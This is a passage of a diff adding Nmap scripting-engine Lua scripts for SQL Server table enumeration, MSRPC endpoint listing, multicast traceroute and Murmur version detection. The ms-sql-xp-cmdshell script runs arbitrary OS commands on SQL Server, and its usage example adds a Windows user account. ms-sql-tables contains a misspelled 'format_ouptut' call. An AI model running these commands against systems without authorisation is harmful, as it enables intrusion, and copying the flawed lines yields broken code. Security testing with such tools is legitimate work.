+the host must have at least one SMB port (e.g. TCP 445) that was scanned and
+found to be open. Additionally, named pipe connections may require Windows
+authentication to connect to the Windows host (via SMB) in addition to the
+authentication required to connect to the SQL Server instances itself. See the
+documentation and arguments for the <code>smb</code> library for more information.
+
+NOTE: By default, the ms-sql-* scripts may attempt to connect to and communicate
+with ports that were not included in the port list for the Nmap scan. This can
+be disabled using the <code>mssql.scanned-ports-only</code> script argument.
+]]
+
+---
+-- @usage
+-- nmap -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=sa <host>
+--
+-- @args ms-sql-tables.maxdb Limits the amount of databases that are
+-- processed and returned (default 5). If set to zero or less
+-- all databases are processed.
+--
+-- @args ms-sql-tables.maxtables Limits the amount of tables returned
+-- (default 5). If set to zero or less all tables are returned.
+--
+-- @args ms-sql-tables.keywords If set shows only tables or columns matching
+-- the keywords
+--
+-- @output
+-- | ms-sql-tables:
+-- | [192.168.100.25\MSSQLSERVER]
+-- | webshop
+-- | table column type length
+-- | payments user_id int 4
+-- | payments purchase_id int 4
+-- | payments cardholder varchar 50
+-- | payments cardtype varchar 50
+-- | payments cardno varchar 50
+-- | payments expiry varchar 50
+-- | payments cvv varchar 4
+-- | products id int 4
+-- | products manu varchar 50
+-- | products model varchar 50
+-- | products productname varchar 100
+-- | products price float 8
+-- | products imagefile varchar 255
+-- | products quantity int 4
+-- | products keywords varchar 100
+-- | products description text 16
+-- | users id int 4
+-- | users username varchar 50
+-- | users password varchar 50
+-- |_ users fullname varchar 100
+
+-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 04/02/2010 - v0.2
+-- - Added support for filters
+-- - Changed output formatting of restrictions
+-- - Added parameter information in output if parameters are using their
+-- defaults.
+-- Revised 02/01/2011 - v0.3 (Chris Woodbury)
+-- - Added ability to run against all instances on a host;
+-- - Added compatibility with changes in mssql.lua
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+dependencies = {"broadcast-ms-sql-discover", "ms-sql-brute", "ms-sql-empty-password"}
+
+local function process_instance( instance )
+
+ local status, result, dbs, tables
+
+ local output = {}
+ local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
+ local db_query
+ local done_dbs = {}
+ local db_limit, tbl_limit
+
+ local DB_COUNT = tonumber( stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} ) ) or 5
+ local TABLE_COUNT = tonumber( stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) or 2
+ local keywords_filter = ""
+
+ if ( DB_COUNT <= 0 ) then
+ db_limit = ""
+ else
+ db_limit = string.format( "TOP %d", DB_COUNT )
+ end
+ if (TABLE_COUNT <= 0 ) then
+ tbl_limit = ""
+ else
+ tbl_limit = string.format( "TOP %d", TABLE_COUNT )
+ end
+
+ local keywords_arg = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
+ -- Build the keyword filter
+ if keywords_arg then
+ local keywords = keywords_arg
+ local tmp_tbl = {}
+
+ if( type(keywords) == 'string' ) then
+ keywords = { keywords }
+ end
+
+ for _, v in ipairs(keywords) do
+ table.insert(tmp_tbl, ("'%s'"):format(v))
+ end
+
+ keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format(
+ table.concat(tmp_tbl, ","),
+ table.concat(tmp_tbl, ",")
+ )
+ end
+
+ db_query = ("SELECT %s name from master..sysdatabases WHERE name NOT IN (%s)"):format(db_limit, table.concat(exclude_dbs, ","))
+
+
+ local creds = mssql.Helper.GetLoginCredentials_All( instance )
+ if ( not creds ) then
+ output = "ERROR: No login credentials."
+ else
+ for username, password in pairs( creds ) do
+ local helper = mssql.Helper:new()
+ status, result = helper:ConnectEx( instance )
+ if ( not(status) ) then
+ table.insert(output, "ERROR: " .. result)
+ break
+ end
+
+ if ( status ) then
+ status = helper:Login( username, password, nil, instance.host.ip )
+ end
+
+ if ( status ) then
+ status, dbs = helper:Query( db_query )
+ end
+
+ if ( status ) then
+ -- all done?
+ if ( #done_dbs == #dbs.rows ) then
+ break
+ end
+
+ for k, v in pairs(dbs.rows) do
+ if ( not( tableaux.contains( done_dbs, v[1] ) ) ) then
+ local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length
+ FROM %s..syscolumns sc, %s..sysobjects so, %s..systypes st
+ WHERE so.id = sc.id AND sc.xtype=st.xtype AND
+ so.id IN (SELECT %s id FROM %s..sysobjects WHERE xtype='U') %s ORDER BY so.name, sc.name, st.name]]
+ query = query:format( v[1], v[1], v[1], tbl_limit, v[1], keywords_filter)
+ status, tables = helper:Query( query )
+ if ( not(status) ) then
+ stdnse.debug1("%s", tables)
+ else
+ local item = {}
+ item = mssql.Util.FormatOutputTable( tables, true )
+ if ( #item == 0 and keywords_filter ~= "" ) then
+ table.insert(item, "Filter returned no matches")
+ end
+ item.name = v[1]
+
+ table.insert(output, item)
+ table.insert(done_dbs, v[1])
+ end
+ end
+ end
+ end
+ helper:Disconnect()
+ end
+
+ local pos = 1
+ local restrict_tbl = {}
+
+ if keywords_arg then
+ local tmp = keywords_arg
+ if ( type(tmp) == 'table' ) then
+ tmp = table.concat(tmp, ',')
+ end
+ table.insert(restrict_tbl, 1, ("Filter: %s"):format(tmp))
+ pos = pos + 1
+ else
+ table.insert(restrict_tbl, 1, "No filter (see ms-sql-tables.keywords)")
+ end
+
+ if ( DB_COUNT > 0 ) then
+ local tmp = ("Output restricted to %d databases"):format(DB_COUNT)
+ if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxdb', 'mssql-tables.maxdb' } ) ) ) then
+ tmp = tmp .. " (see ms-sql-tables.maxdb)"
+ end
+ table.insert(restrict_tbl, 1, tmp)
+ pos = pos + 1
+ end
+
+ if ( TABLE_COUNT > 0 ) then
+ local tmp = ("Output restricted to %d tables"):format(TABLE_COUNT)
+ if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) ) then
+ tmp = tmp .. " (see ms-sql-tables.maxtables)"
+ end
+ table.insert(restrict_tbl, 1, tmp)
+ pos = pos + 1
+ end
+
+ if ( 1 < pos and type( output ) == "table" and #output > 0) then
+ restrict_tbl.name = "Restrictions"
+ table.insert(output, "")
+ table.insert(output, restrict_tbl)
+ end
+ end
+
+
+ local instanceOutput = {}
+ instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
+ table.insert( instanceOutput, output )
+
+ return stdnse.format_ouptut(true, instanceOutput)
+
+end
+
+
+action, portrule, hostrule = mssql.Helper.InitScript(process_instance)
diff --git a/scripts/ms-sql-xp-cmdshell.nse b/scripts/ms-sql-xp-cmdshell.nse
new file mode 100644
index 0000000..b5dc4a3
--- /dev/null
+++ b/scripts/ms-sql-xp-cmdshell.nse
@@ -0,0 +1,153 @@
+local mssql = require "mssql"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Attempts to run a command using the command shell of Microsoft SQL
+Server (ms-sql).
+
+SQL Server credentials required: Yes (use <code>ms-sql-brute</code>, <code>ms-sql-empty-password</code>
+and/or <code>mssql.username</code> & <code>mssql.password</code>)
+Run criteria:
+* Host script: Will run if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+or <code>mssql.instance-port</code> script arguments are used (see mssql.lua).
+* Port script: Will run against any services identified as SQL Servers, but only
+if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+and <code>mssql.instance-port</code> script arguments are NOT used.
+
+The script needs an account with the sysadmin server role to work.
+
+When run, the script iterates over the credentials and attempts to run
+the command until either all credentials are exhausted or until the
+command is executed.
+
+NOTE: Communication with instances via named pipes depends on the <code>smb</code>
+library. To communicate with (and possibly to discover) instances via named pipes,
+the host must have at least one SMB port (e.g. TCP 445) that was scanned and
+found to be open. Additionally, named pipe connections may require Windows
+authentication to connect to the Windows host (via SMB) in addition to the
+authentication required to connect to the SQL Server instances itself. See the
+documentation and arguments for the <code>smb</code> library for more information.
+
+NOTE: By default, the ms-sql-* scripts may attempt to connect to and communicate
+with ports that were not included in the port list for the Nmap scan. This can
+be disabled using the <code>mssql.scanned-ports-only</code> script argument.
+]]
+
+---
+-- @usage
+-- nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell <host>
+-- nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user test test /add" <host>
+--
+-- @args ms-sql-xp-cmdshell.cmd The OS command to run (default: ipconfig /all).
+--
+-- @output
+-- | ms-sql-xp-cmdshell:
+-- | [192.168.56.3\MSSQLSERVER]
+-- | Command: ipconfig /all
+-- | output
+-- | ======
+-- |
+-- | Windows IP Configuration
+-- |
+-- | Host Name . . . . . . . . . . . . : EDUSRV011
+-- | Primary Dns Suffix . . . . . . . : cqure.net
+-- | Node Type . . . . . . . . . . . . : Unknown
+-- | IP Routing Enabled. . . . . . . . : No
+-- | WINS Proxy Enabled. . . . . . . . : No
+-- | DNS Suffix Search List. . . . . . : cqure.net
+-- |
+-- | Ethernet adapter Local Area Connection 3:
+-- |
+-- | Connection-specific DNS Suffix . :
+-- | Description . . . . . . . . . . . : AMD PCNET Family PCI Ethernet Adapter #2
+-- | Physical Address. . . . . . . . . : 08-00-DE-AD-C0-DE
+-- | DHCP Enabled. . . . . . . . . . . : Yes
+-- | Autoconfiguration Enabled . . . . : Yes
+-- | IP Address. . . . . . . . . . . . : 192.168.56.3
+-- | Subnet Mask . . . . . . . . . . . : 255.255.255.0
+-- | Default Gateway . . . . . . . . . :
+-- | DHCP Server . . . . . . . . . . . : 192.168.56.2
+-- | Lease Obtained. . . . . . . . . . : den 21 mars 2010 00:12:10
+-- | Lease Expires . . . . . . . . . . : den 21 mars 2010 01:12:10
+-- |_
+
+-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
+-- added compatibility with changes in mssql.lua (Chris Woodbury)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive"}
+
+
+dependencies = {"broadcast-ms-sql-discover", "ms-sql-brute", "ms-sql-empty-password"}
+
+
+local function process_instance( instance )
+
+ local status, result
+ local query
+ local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all'
+ local output = {}
+
+ query = ("EXEC master..xp_cmdshell '%s'"):format(cmd)
+
+ local creds = mssql.Helper.GetLoginCredentials_All( instance )
+ if ( not creds ) then
+ output = "ERROR: No login credentials."
+ else
+ for username, password in pairs( creds ) do
+ local helper = mssql.Helper:new()
+ status, result = helper:ConnectEx( instance )
+ if ( not(status) ) then
+ output = "ERROR: " .. result
+ break
+ end
+
+ if ( status ) then
+ status = helper:Login( username, password, nil, instance.host.ip )
+ end
+
+ if ( status ) then
+ status, result = helper:Query( query )
+ end
+ helper:Disconnect()
+
+ if ( status ) then
+ output = mssql.Util.FormatOutputTable( result, true )
+ output[ "name" ] = string.format( "Command: %s", cmd )
+ break
+ elseif ( result and result:gmatch("xp_configure") ) then
+ if( nmap.verbosity() > 1 ) then
+ output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online."
+ end
+ end
+ end
+ end
+
+ local instanceOutput = {}
+ instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
+ table.insert( instanceOutput, output )
+
+ return instanceOutput
+
+end
+
+
+local do_action
+do_action, portrule, hostrule = mssql.Helper.InitScript(process_instance)
+
+action = function(...)
+ local scriptOutput = do_action(...)
+ if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then
+ table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change command.)")
+ end
+
+ return stdnse.format_output( true, scriptOutput )
+end
diff --git a/scripts/msrpc-enum.nse b/scripts/msrpc-enum.nse
new file mode 100644
index 0000000..63dc63d
--- /dev/null
+++ b/scripts/msrpc-enum.nse
@@ -0,0 +1,112 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Queries an MSRPC endpoint mapper for a list of mapped
+services and displays the gathered information.
+
+As it is using smb library, you can specify optional
+username and password to use.
+
+Script works much like Microsoft's rpcdump tool
+or dcedump tool from SPIKE fuzzer.
+]]
+---
+-- @usage nmap <target> --script=msrpc-enum
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 445/tcp open microsoft-ds syn-ack
+--
+-- Host script results:
+-- | msrpc-enum:
+-- |
+-- | uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5
+-- | annotation: DHCP Client LRPC Endpoint
+-- | ncalrpc: dhcpcsvc
+-- |
+-- | uuid: 12345678-1234-abcd-ef00-0123456789ab
+-- | annotation: IPSec Policy agent endpoint
+-- | ncalrpc: audit
+-- |
+-- | uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5
+-- | ip_addr: 0.0.0.0
+-- | annotation: DHCP Client LRPC Endpoint
+-- | tcp_port: 49153
+-- |
+-- <snip>
+-- |
+-- | uuid: 12345678-1234-abcd-ef00-0123456789ab
+-- | annotation: IPSec Policy agent endpoint
+-- | ncalrpc: securityevent
+-- |
+-- | uuid: 12345678-1234-abcd-ef00-0123456789ab
+-- | annotation: IPSec Policy agent endpoint
+-- |_ ncalrpc: protected_storage
+--
+-- @xmloutput
+-- -snip-
+-- <table>
+-- <elem key="uuid">c100beab-d33a-4a4b-bf23-bbef4663d017</elem>
+-- <elem key="annotation">wcncsvc.wcnprpc</elem>
+-- <elem key="ncalrpc">wcncsvc.wcnprpc</elem>
+-- </table>
+-- <table>
+-- <elem key="uuid">6b5bdd1e-528c-422c-af8c-a4079be4fe48</elem>
+-- <elem key="annotation">Remote Fw APIs</elem>
+-- <elem key="tcp_port">49158</elem>
+-- <elem key="ip_addr">0.0.0.0</elem>
+-- </table>
+-- <table>
+-- <elem key="uuid">12345678-1234-abcd-ef00-0123456789ab</elem>
+-- <elem key="annotation">IPSec Policy agent endpoint</elem>
+-- <elem key="tcp_port">49158</elem>
+-- <elem key="ip_addr">0.0.0.0</elem>
+-- </table>
+-- -snip-
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe","discovery"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host,port)
+ local status, smbstate
+ status, smbstate = msrpc.start_smb(host,msrpc.EPMAPPER_PATH,true)
+ if(status == false) then
+ stdnse.debug1("SMB: " .. smbstate)
+ return false, smbstate
+ end
+ local bind_result,epresult -- bind to endpoint mapper service
+ status, bind_result = msrpc.bind(smbstate,msrpc.EPMAPPER_UUID, msrpc.EPMAPPER_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ stdnse.debug1("SMB: " .. bind_result)
+ return false, bind_result
+ end
+ local results = {}
+ status, epresult = msrpc.epmapper_lookup(smbstate,nil) -- get the initial handle
+ if not status then
+ stdnse.debug1("SMB: " .. epresult)
+ return false, epresult
+
+ end
+ local handle = epresult.new_handle
+ epresult.new_handle = nil
+ table.insert(results,epresult)
+
+ while not (epresult == nil) do
+ status, epresult = msrpc.epmapper_lookup(smbstate,handle) -- get next result until there are no more
+ if not status then
+ break
+ end
+ epresult.new_handle = nil
+ table.insert(results,epresult)
+ end
+ return results
+end
diff --git a/scripts/mtrace.nse b/scripts/mtrace.nse
new file mode 100644
index 0000000..4df7935
--- /dev/null
+++ b/scripts/mtrace.nse
@@ -0,0 +1,378 @@
+local nmap = require "nmap"
+local packet = require "packet"
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local table = require "table"
+local math = require "math"
+local string = require "string"
+
+description = [[
+Queries for the multicast path from a source to a destination host.
+
+This works by sending an IGMP Traceroute Query and listening for IGMP
+Traceroute responses. The Traceroute Query is sent to the first hop and
+contains information about source, destination and multicast group addresses.
+First hop defaults to the multicast All routers address. The default multicast
+group address is 0.0.0.0 and the default destination is our own host address. A
+source address must be provided. The responses are parsed to get interesting
+information about interface addresses, used protocols and error codes.
+
+This is similar to the mtrace utility provided in Cisco IOS.
+]]
+
+---
+--@args mtrace.fromip Source address from which to traceroute.
+--
+--@args mtrace.toip Destination address to which to traceroute.
+-- Defaults to our host address.
+--
+--@args mtrace.group Multicast group address for the traceroute.
+-- Defaults to <code>0.0.0.0</code> which represents all group addresses.
+--
+--@args mtrace.firsthop Host to which the query is sent. If not set, the
+-- query will be sent to <code>224.0.0.2</code>.
+--
+--@args mtrace.timeout Time to wait for responses.
+-- Defaults to <code>7s</code>.
+--
+--@usage
+-- nmap --script mtrace --script-args 'mtrace.fromip=172.16.45.4'
+--
+--@output
+-- Pre-scan script results:
+-- | mtrace:
+-- | Group 0.0.0.0 from 172.16.45.4 to 172.16.0.1
+-- | Source: 172.16.45.4
+-- | In address: 172.16.34.3
+-- | Out address: 172.16.0.3
+-- | Protocol: PIM
+-- | In address: 172.16.45.4
+-- | Out address: 172.16.34.4
+-- | Protocol: PIM
+-- | Source: 172.16.45.4
+-- | In address: 172.16.13.1
+-- | Out address: 172.16.0.2
+-- | Protocol: PIM / Static
+-- | In address: 172.16.34.3
+-- | Out address: 172.16.13.3
+-- | Protocol: PIM
+-- | In address: 172.16.45.4
+-- | Out address: 172.16.34.4
+-- |_ Protocol: PIM
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe", "broadcast"}
+
+-- From: https://tools.ietf.org/id/draft-ietf-idmr-traceroute-ipm-07.txt
+PROTO = {
+ [0x01] = "DVMRP",
+ [0x02] = "MOSPF",
+ [0x03] = "PIM",
+ [0x04] = "CBT",
+ [0x05] = "PIM / Special table",
+ [0x06] = "PIM / Static",
+ [0x07] = "DVMRP / Static",
+ [0x08] = "PIM / MBGP",
+ [0x09] = "CBT / Special table",
+ [0x10] = "CBT / Static",
+ [0x11] = "PIM / state created by Assert processing",
+}
+
+FWD_CODE = {
+ [0x00] = "NO_ERROR",
+ [0x01] = "WRONG_IF",
+ [0x02] = "PRUNE_SENT",
+ [0x03] = "PRUNE_RCVD",
+ [0x04] = "SCOPED",
+ [0x05] = "NO_ROUTE",
+ [0x06] = "WRONG_LAST_HOP",
+ [0x07] = "NOT_FORWARDING",
+ [0x08] = "REACHED_RP",
+ [0x09] = "RPF_IF",
+ [0x0A] = "NO_MULTICAST",
+ [0x0B] = "INFO_HIDDEN",
+ [0x81] = "NO_SPACE",
+ [0x82] = "OLD_ROUTER",
+ [0x83] = "ADMIN_PROHIB",
+}
+
+prerule = function()
+ if nmap.address_family() ~= 'inet' then
+ stdnse.verbose1("is IPv4 only.")
+ return false
+ end
+ if not nmap.is_privileged() then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+ return true
+end
+
+--- Generates a raw IGMP Traceroute Query.
+--@param fromip Source address.
+--@param toip Destination address.
+--@param group Multicast group address.
+--@param receiver Receiver of the response.
+--@return data Raw Traceroute Query.
+local traceRaw = function(fromip, toip, group, receiver)
+ local data = string.pack(">BBI2 I4 I4 I4 I4 BBI2",
+ 0x1f, -- Type: Traceroute Query
+ 0x20, -- Hops: 32
+ 0x0000, -- Checksum: To be set later
+ ipOps.todword(group), -- Multicast group
+ ipOps.todword(fromip), -- Source
+ ipOps.todword(toip), -- Destination
+ ipOps.todword(receiver), -- Receiver
+ 0x40, -- TTL
+ 0x00, math.random(123456) -- Query ID
+ )
+
+ -- We calculate checksum
+ data = data:sub(1,2) .. string.pack(">I2", packet.in_cksum(data)) .. data:sub(5)
+ return data
+end
+
+--- Sends a raw IGMP Traceroute Query.
+--@param interface Network interface to send through.
+--@param destination Target host to which the packet is sent.
+--@param trace_raw Traceroute raw Query.
+local traceSend = function(interface, destination, trace_raw)
+ local ip_raw = stdnse.fromhex( "45c00040ed780000400218bc0a00c8750a00c86b") .. trace_raw
+ local trace_packet = packet.Packet:new(ip_raw, ip_raw:len())
+ trace_packet:ip_set_bin_src(ipOps.ip_to_str(interface.address))
+ trace_packet:ip_set_bin_dst(ipOps.ip_to_str(destination))
+ trace_packet:ip_set_len(#trace_packet.buf)
+ trace_packet:ip_count_checksum()
+
+ if destination == "224.0.0.2" then
+ -- Doesn't affect results as it is ignored but most routers, but RFC
+ -- 3171 should be respected.
+ trace_packet:ip_set_ttl(1)
+ end
+ trace_packet:ip_count_checksum()
+
+ local sock = nmap.new_dnet()
+ if destination == "224.0.0.2" then
+ sock:ethernet_open(interface.device)
+ -- Ethernet IPv4 multicast, our ethernet address and packet type IP
+ local eth_hdr = "\x01\x00\x5e\x00\x00\x02" .. interface.mac .. "\x08\x00"
+ sock:ethernet_send(eth_hdr .. trace_packet.buf)
+ sock:ethernet_close()
+ else
+ sock:ip_open()
+ sock:ip_send(trace_packet.buf, destination)
+ sock:ip_close()
+ end
+end
+
+--- Parses an IGMP Traceroute Response and returns it in structured form.
+--@param data Raw Traceroute Response.
+--@return response Structured Traceroute Response.
+local traceParse = function(data)
+ local index
+ local response = {}
+
+ -- first byte should be IGMP type == 0x1e (Traceroute Response)
+ if data:byte(1) ~= 0x1e then return end
+
+ -- Hops
+ response.hops,
+ -- Checksum
+ response.checksum,
+ -- Group
+ response.group,
+ -- Source address
+ response.source,
+ -- Destination address
+ response.destination,
+ -- Response address
+ response.response,
+ -- Response TTL
+ response.ttl,
+ -- Query ID
+ response.qid, index = string.unpack(">B I2 I4 I4 I4 I4 B I3", data, 2)
+
+ response.group = ipOps.fromdword(response.group)
+ response.source = ipOps.fromdword(response.source)
+ response.receiver = ipOps.fromdword(response.destination)
+ response.response = ipOps.fromdword(response.response)
+
+ local block
+ response.blocks = {}
+ -- Now, parse data blocks
+ while true do
+ -- To end parsing and not get stuck in infinite loops.
+ if index >= #data then
+ break
+ elseif #data - index < 31 then
+ stdnse.verbose1("malformed traceroute response.")
+ return
+ end
+
+ block = {}
+ -- Query Arrival
+ block.query,
+ -- In itf address
+ block.inaddr,
+ -- Out itf address
+ block.outaddr,
+ -- Previous rtr address
+ block.prevaddr,
+ -- In packets
+ block.inpkts,
+ -- Out packets
+ block.outpkts,
+ -- S,G pkt count
+ block.sgpkt,
+ -- Protocol
+ block.proto,
+ -- Forward TTL
+ block.fwdttl,
+ -- Options
+ block.options,
+ -- Forwarding Code
+ block.code, index = string.unpack(">I4 I4 I4 I4 I4 I4 I4 BBBB", data, index)
+
+ block.inaddr = ipOps.fromdword(block.inaddr)
+ block.outaddr = ipOps.fromdword(block.outaddr)
+ block.prevaddr = ipOps.fromdword(block.prevaddr)
+
+ table.insert(response.blocks, block)
+ end
+ return response
+end
+
+-- Listens for IGMP Traceroute responses
+--@param interface Network interface to listen on.
+--@param timeout Amount of time to listen for in seconds.
+--@param responses table to insert responses into.
+local traceListener = function(interface, timeout, responses)
+ local condvar = nmap.condvar(responses)
+ local start = nmap.clock_ms()
+ local listener = nmap.new_socket()
+ local p, trace_raw, status, l3data, response, _
+
+ -- IGMP packets that are sent to our host
+ local filter = 'ip proto 2 and dst host ' .. interface.address
+ listener:set_timeout(100)
+ listener:pcap_open(interface.device, 1024, true, filter)
+
+ while (nmap.clock_ms() - start) < timeout do
+ status, _, _, l3data = listener:pcap_receive()
+ if status then
+ p = packet.Packet:new(l3data, #l3data)
+ trace_raw = string.sub(l3data, p.ip_hl*4 + 1)
+ if p then
+ -- Check that IGMP Type == 0x1e (Traceroute Response)
+ if trace_raw:byte(1) == 0x1e then
+ response = traceParse(trace_raw)
+ if response then
+ response.srcip = p.ip_src
+ table.insert(responses, response)
+ end
+ end
+ end
+ end
+ end
+ condvar("signal")
+end
+
+-- Returns the network interface used to send packets to a target host.
+--@param target host to which the interface is used.
+--@return interface Network interface used for target host.
+local getInterface = function(target)
+ -- First, create dummy UDP connection to get interface
+ local sock = nmap.new_socket()
+ local status, err = sock:connect(target, "12345", "udp")
+ if not status then
+ stdnse.verbose1("%s", err)
+ return
+ end
+ local status, address, _, _, _ = sock:get_info()
+ if not status then
+ stdnse.verbose1("%s", err)
+ return
+ end
+ for _, interface in pairs(nmap.list_interfaces()) do
+ if interface.address == address then
+ return interface
+ end
+ end
+end
+
+
+action = function()
+ local fromip = stdnse.get_script_args(SCRIPT_NAME .. ".fromip")
+ local toip = stdnse.get_script_args(SCRIPT_NAME .. ".toip")
+ local group = stdnse.get_script_args(SCRIPT_NAME .. ".group") or "0.0.0.0"
+ local firsthop = stdnse.get_script_args(SCRIPT_NAME .. ".firsthop") or "224.0.0.2"
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ local responses = {}
+ timeout = (timeout or 7) * 1000
+
+ -- Source address from which to traceroute
+ if not fromip then
+ stdnse.verbose1("A source IP must be provided through fromip argument.")
+ return
+ end
+
+ -- Get network interface to use
+ local interface = nmap.get_interface()
+ if interface then
+ interface = nmap.get_interface_info(interface)
+ else
+ interface = getInterface(firsthop)
+ end
+ if not interface then
+ return stdnse.format_output(false, ("Couldn't get interface for %s"):format(firsthop))
+ end
+
+ -- Destination defaults to our own host
+ toip = toip or interface.address
+
+ stdnse.debug1("Traceroute group %s from %s to %s.", group, fromip, toip)
+ stdnse.debug1("will send to %s via %s interface.", firsthop, interface.shortname)
+
+ -- Thread that listens for responses
+ stdnse.new_thread(traceListener, interface, timeout, responses)
+
+ -- Send request after small wait to let Listener start
+ stdnse.sleep(0.1)
+ local trace_raw = traceRaw(fromip, toip, group, interface.address)
+ traceSend(interface, firsthop, trace_raw)
+
+ local condvar = nmap.condvar(responses)
+ condvar("wait")
+ if #responses > 0 then
+ local outresp
+ local output, outblock = {}
+ table.insert(output, ("Group %s from %s to %s"):format(group, fromip, toip))
+ for _, response in pairs(responses) do
+ outresp = {}
+ outresp.name = "Source: " .. response.srcip
+ for _, block in pairs(response.blocks) do
+ outblock = {}
+ outblock.name = "In address: " .. block.inaddr
+ table.insert(outblock, "Out address: " .. block.outaddr)
+ -- Protocol
+ if PROTO[block.proto] then
+ table.insert(outblock, "Protocol: " .. PROTO[block.proto])
+ else
+ table.insert(outblock, "Protocol: Unknown")
+ end
+ -- Error Code, we ignore NO_ERROR which is the normal case.
+ if FWD_CODE[block.code] and block.code ~= 0x00 then
+ table.insert(outblock, "Error code: " .. FWD_CODE[block.code])
+ elseif block.code ~= 0x00 then
+ table.insert(outblock, "Error code: Unknown")
+ end
+ table.insert(outresp, outblock)
+ end
+ table.insert(output, outresp)
+ end
+ return stdnse.format_output(true, output)
+ end
+end
diff --git a/scripts/murmur-version.nse b/scripts/murmur-version.nse
new file mode 100644
index 0000000..433ff3d
--- /dev/null
+++ b/scripts/murmur-version.nse
@@ -0,0 +1,101 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+
+description = [[
+Detects the Murmur service (server for the Mumble voice communication
+client) versions 1.2.X.
+
+The Murmur server listens on a TCP (control) and a UDP (voice) port
+with the same port number. This script activates on both a TCP and UDP
+port version scan. In both cases probe data is sent only to the UDP
+port because it allows for a simple and informative ping command.
+
+The single probe will report on the server version, current user
+count, maximum users allowed on the server, and bandwidth used for
+voice communication. It is used by the Mumble client to ping known
+Murmur servers.
+
+The IP address from which service detection is being ran will most
+likely be temporarily banned by the target Murmur server due to
+multiple incorrect handshakes (Nmap service probes). This ban makes
+identifying the service via TCP impossible in practice, but does not
+affect the UDP probe used by this script.
+
+It is possible to get a corrupt user count (usually +1) when doing a
+TCP service scan due to previous service probe connections affecting
+the server.
+
+See http://mumble.sourceforge.net/Protocol.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 64740/tcp open murmur Murmur 1.2.4 (control port; users: 35; max. users: 100; bandwidth: 72000 b/s)
+-- 64740/udp open murmur Murmur 1.2.4 (voice port; users: 35; max. users: 100; bandwidth: 72000 b/s)
+
+author = "Marin Maržić"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "version" }
+
+portrule = shortport.version_port_or_service({64738}, "murmur", {"tcp", "udp"})
+
+action = function(host, port)
+ local mutex = nmap.mutex("murmur-version:" .. host.ip .. ":" .. port.number)
+ mutex("lock")
+
+ if host.registry["murmur-version"] == nil then
+ host.registry["murmur-version"] = {}
+ end
+ -- Maybe the script already ran for this port number on another protocol
+ local r = host.registry["murmur-version"][port.number]
+ if r == nil then
+ r = {}
+ host.registry["murmur-version"][port.number] = r
+
+ local status, result = comm.exchange(
+ host, port.number, "\0\0\0\0abcdefgh", { proto = "udp", timeout = 3000 })
+ if not status then
+ mutex("done")
+ return
+ end
+
+ -- UDP port is open
+ nmap.set_port_state(host, { number = port.number, protocol = "udp" }, "open")
+
+ if not string.match(result, "^%z...abcdefgh............$") then
+ mutex("done")
+ return
+ end
+
+ -- Detected; extract relevant data
+ r.v_a, r.v_b, r.v_c, r.users, r.maxusers, r.bandwidth =
+ string.unpack(">BBB xxxxxxxx I4I4I4", result, 2)
+ end
+
+ mutex("done")
+
+ -- If the registry is empty the port was probed but Murmur wasn't detected
+ if next(r) == nil then
+ return
+ end
+
+ port.version.name = "murmur"
+ port.version.name_confidence = 10
+ port.version.product = "Murmur"
+ port.version.version = r.v_a .. "." .. r.v_b .. "." .. r.v_c
+ port.version.extrainfo = "; users: " .. r.users .. "; max. users: " ..
